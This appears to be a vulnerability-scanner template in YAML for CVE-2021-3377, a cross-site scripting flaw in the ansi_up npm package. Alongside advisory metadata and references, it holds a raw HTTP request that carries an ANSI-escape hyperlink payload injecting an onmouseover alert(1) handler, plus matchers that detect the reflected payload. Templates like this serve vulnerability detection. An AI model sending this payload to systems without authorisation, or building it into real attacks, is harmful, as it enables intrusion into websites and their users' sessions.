35 lines
1.1 KiB
YAML
35 lines
1.1 KiB
YAML
id: CVE-2021-3377
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info:
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name: Ansi_up XSS
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description: The npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.
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reference:
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- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
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- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
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author: geeknik
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severity: medium
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tags: cve,cve2021,xss,npm
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.10
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cve-id: CVE-2021-3377
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cwe-id: CWE-79
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requests:
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- raw:
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- |+
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GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
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Host: {{Hostname}}
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Connection: close
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unsafe: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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words:
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- "com\"/onmouseover=\"alert(1)\">" |